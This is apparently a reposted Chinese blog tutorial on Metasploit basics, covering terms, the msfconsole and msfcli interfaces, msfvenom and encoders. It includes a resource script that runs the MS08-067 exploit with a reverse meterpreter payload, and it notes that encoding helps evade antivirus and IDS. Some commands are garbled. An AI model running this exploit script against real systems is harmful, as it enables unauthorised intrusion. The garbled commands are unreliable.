Metasploit基础

来源:互联网 发布:dota2 mac版怎么下载 编辑:程序博客网 时间:2024/06/04 19:25

Metasploit基础

第一次接触MSF时,需要掌握他的一i额专业术语,模块,接口,选项和变量,最重要的一点:

>>>

不光要关注于那些最新的模块,而应该关注Metasploit是如何进行攻击的,以及你可以使用哪些命令来使得渗透成功实施


一、专业术语:

1、渗透攻击Exploit:

由攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞,所进行的攻击行为。
流行的渗透攻击技术包括缓冲区溢出、Web应用程序漏洞攻击(SQL注入),以及利用配置错误等。

2、攻击载荷Payload:

期望目标系统在被渗透攻击之后去执行的代码。可以在MSF框架中自由地选择、传送和植入。

Eg:

反弹式shell–从目标主机到攻击主机创建网络连接,并提供命令行shell的攻击载荷;
bind shell–在目标主机上将命令行shell绑定到一个打开的监听端口,连接这些端口进行shell交互;
简单的在目标操作系统上执行一些命令–添加用户账号等。

3、Shellcode:

作为攻击载荷运行的一组机器指令。
目标系统执行了shellcode之后,才会提供一个命令行或者Meterpreter shell。

4、模块Module:

MSF框架中所使用的一段软件代码组件。
渗透攻击模块exploit module–实际发起渗透攻击的软件组件。
辅助模块auxiliary module–执行注入扫描或系统查点的攻击动作。

5、监听器Listener:

等待连入网络连接的组件。

二、Metasploit用户接口

终端、命令行和图形界面

1、MSF终端–msfconsole

  • 能够访问Metasploit框架中几乎每一个选项和配置。 启动MSF终端–命令行中输入msfconsole

    msf-1

  • 访问帮助文件–help+metasploit命令【help connect】

    这里写图片描述

2、MSF命令行

主要考虑脚本处理和其他命令行工具的互操作性。

  • 支持直接从命令行shell执行 允许将其他工具的输出重定向到msfcli 将msfcli的输出重定向给其他的命令行工具
    在明确知道你使用哪个渗透攻击模块和所需要的配置参数时,它将是高效实施渗透攻击的绝妙工具。

msfcli已废弃
[https://blog.rapid7.com/2015/07/10/msfcli-is-no-longer-available-in-metasploit/]

1:今年一月,我们对msfcli发布了否决公告,命令行界面版本的Metasploit。今天我们要和它说再见了。而msfcli,我们推荐使用Msfconsole -x选项。例如,这里是你如何可以运行在一个线MS08-067:

2:您还可以利用诸如资源脚本甚至命令别名之类的东西来减少输入。这里的一个例子,你将如何编写资源脚本来自动运行ms08_067:

use exploit/windows/smb/ms08_067_netapi  set RHOST [IP]  set PAYLOAD windows/meterpreter/reverse_tcp  set LHOST [IP]  run  

这里写图片描述

然后运行它:

./msfconsole -r name_of_resource_script.rc  本的帮助文档使用如下命令:

3:如果你已经运行了msfconsole资源脚本,你可以使用这样的方式:

msf > resource name_of_resource_script.rc  

使用实例:

  • 使用的是kali-2.0版本[环境]
  • ms12-020 漏洞

ms12-020

ms12-020

ms12-020

这里写图片描述

3、Armitage–图形化用户接口~?目前已经是msfgui~~~~

三、Metasploit功能程序

在某些特定的场合下,对Metasploit框架中的一些特殊功能进行直接访问的接口。

现在已经没有msfpayload的命令了,换成msfvenom了,里面集成了msfpayload和msfencode

1、MSF攻击载荷生成器

允许生成shellcode、可执行代码和其他更多的东西。
Shellcode可以生成包括C、JavaScript、甚至是Web应用程序中VB脚本等多种格式,每种输出格式在不用场景中使用。

//查看msfpayload需要哪些配置选项msfvenom -h//查看攻击载荷模块的配置选项msfvenom windows/shell_reverse_tcp O

2、MSF编码器

MSF攻击载荷生成器产生的shellcode是完全可运行的,但是其中包含了一些null空字符,在程序解析时,会被认为是字符串的结束,从而终止了代码的完整运行。

\0x00 和 \0xff 字符会破坏攻击载荷

MSF编码器–对原始的payload进行编码,避免坏字符,以及逃避杀毒软件和IDS的检测。

//查看MSF编码器的配置选项列表
msfvenom -h

MSF中包含了一系列可以应用于不同场景下的编码器。
Excellent等级的编码器–x86/shikata_ga_nai

//查看有哪些可用的编码器清单,并以可靠性的好坏进行排序显示
msfvenom -1#3、Nasm Shell

nasm_shell.rb功能程序–了解汇编代码含义,对给定的汇编指令找出它的opcode操作码。

//运行工具,请求jmp esp命令的opcode操作码root@bt:./nasm_shell.rbnasm> jmp esp//结果如下00000000 FFE4          jmp esp

四、Metasploit Express 和 Metasploit Pro

商业化web接口软件。